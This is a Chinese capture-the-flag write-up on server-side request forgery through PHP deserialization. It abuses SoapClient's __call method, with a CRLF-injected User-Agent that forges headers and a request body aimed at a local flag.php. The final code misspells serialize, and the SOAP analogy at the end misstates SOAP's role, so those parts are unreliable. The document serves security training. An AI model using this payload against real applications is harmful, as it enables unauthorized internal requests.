利用SoapClient类进行SSRF
https://zhuanlan.zhihu.com/p/80918004
https://www.freebuf.com/articles/network/331981.html
1.拿到题目之后,发现需要传入一个反序列化的参数,并且调用一个不存在的 getFlag()方法,而我么们知道,调用一个不存在的公共方法,就会自动调用__call方法,因此我们应去联想哪些原生类有__call
方法,贴一个脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php $classes = get_declared_classes(); foreach ($classes as $class) { $methods = get_class_methods($class); foreach ($methods as $method) { if (in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' ))) { print $class . '::' . $method . "\n"; } } }
|
2.想到这道题的提示,很容易想到ssrf中的SoapClient类,并且它也存在__call方法!
在php手册上查询发现,这个方法可以调用远程soap方法!
那现在思路就清晰了:我们需要利用SoapClient类构造一个post请求,让ip=127.0.0.1,携带token=’ctfshow’。
3.首先需要构造UA头,绕过127.0.0.1的限制
1
| $ua="ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow"
|
“\r\n”是CRLF注入,代表着”回车换行”,而我们知道,请求头和请求体之间是存在换行的,因此Content-Length和token之间存在了两对”\r\n”。之所以要写两个127.0.0.1,是因为代码中使用了两次array_pop,每次会删除最后一个数组元素 ,因此为了将$ip赋值给127.0.0.1,所以需要写两个127.0.0.1,Content-Type是发送请求体的长度,”token=ctfshow”,长度为13
4.查询手册,找到SoapClient类的构造方法所需要的参数:
1
| $client=new SoapClient(null,array('uri'=>"127.0.0.1",'location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));
|
第一个参数为null,表示非wsdl模式,反序列化的时候会对第二个参数指明的url进行soap请求。
第二个参数中,可以设置uri,location,user_agent等值。
uri:指定命名空间URI(Namespace URI)
location: 指定Web服务的URL地址
user_agent:指定HTTP请求的User-Agent头
5.整合以上数据,进行序列化,然后传参,访问flag.txt得到flag:
1 2 3 4
| <?php $ua="ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow"; $client=new SoapClient(null,array('uri'=>"http://127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua)); echo urlencode(serializez($client));
|
netcat-win32-1.12
拓展:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| soap是什么 1.soap是webserver的三要素之一(SOAP,WSDL,UDDI) Web服务的三要素通常指的是:
SOAP (Simple Object Access Protocol): SOAP是一种基于XML的协议,用于在Web服务中交换结构化数据。它定义了一种消息格式,使得不同的系统能够通过网络进行通信和数据交换。
WSDL (Web Services Description Language): WSDL是一种用于描述Web服务的XML语言。它提供了Web服务的公共接口的详细描述,包括服务的可用操作、输入和输出参数、消息格式以及如何访问服务的网络地址等。
UDDI (Universal Description, Discovery, and Integration): UDDI是一个用于Web服务的目录服务,它允许企业注册自己的Web服务,并且允许其他企业发现这些服务。UDDI提供了一种标准化的方式来发布、查找和集成Web服务。
这三个要素共同构成了Web服务的基础架构,使得Web服务能够跨不同平台和语言进行交互。SOAP定义了数据交换的格式,WSDL提供了服务描述的标准,而UDDI提供了服务注册和发现的机制。通过这些技术,Web服务可以被创建、发现和使用,从而实现不同系统之间的互操作性。
更容易理解的方式,我们可以将Web服务的三要素SOAP、WSDL和UDDI比作一个餐厅的服务系统:
SOAP(服务菜单): 想象一下,SOAP就像餐厅里的菜单。当你走进餐厅,服务员会给你一份菜单,上面详细列出了所有可供选择的菜肴以及它们的描述。同样,SOAP是Web服务用来告诉其他计算机系统,它能够提供哪些服务,以及这些服务需要什么信息来执行。
WSDL(服务介绍): WSDL就像餐厅的介绍手册。当你想知道餐厅提供哪些类型的菜肴,或者你想了解如何点菜,这本手册会详细告诉你。在Web服务中,WSDL提供了服务的详细描述,包括服务能做什么,如何与服务交互,以及服务的地址等信息。
UDDI(餐厅目录): UDDI可以比作是一本餐厅黄页,它列出了所有可用的餐厅以及它们提供的服务。如果你想找到提供特定菜肴的餐厅,你可以查阅这本黄页。在Web服务的世界里,UDDI允许人们查找和发现不同的Web服务,了解它们提供的功能,并找到如何访问这些服务的方法。
通过这个例子,我们可以将Web服务的三要素想象成在餐厅中点餐的过程:首先,你通过黄页(UDDI)找到你想尝试的餐厅;然后,你通过介绍手册(WSDL)了解餐厅提供的服务和如何点菜;最后,你使用菜单(SOAP)来实际下单,享受服务。这样,不同的计算机系统就像顾客一样,可以通过这些“要素”来发现和使用Web服务。
|
https://www.php.net/manual/en/extensions.alphabetical.php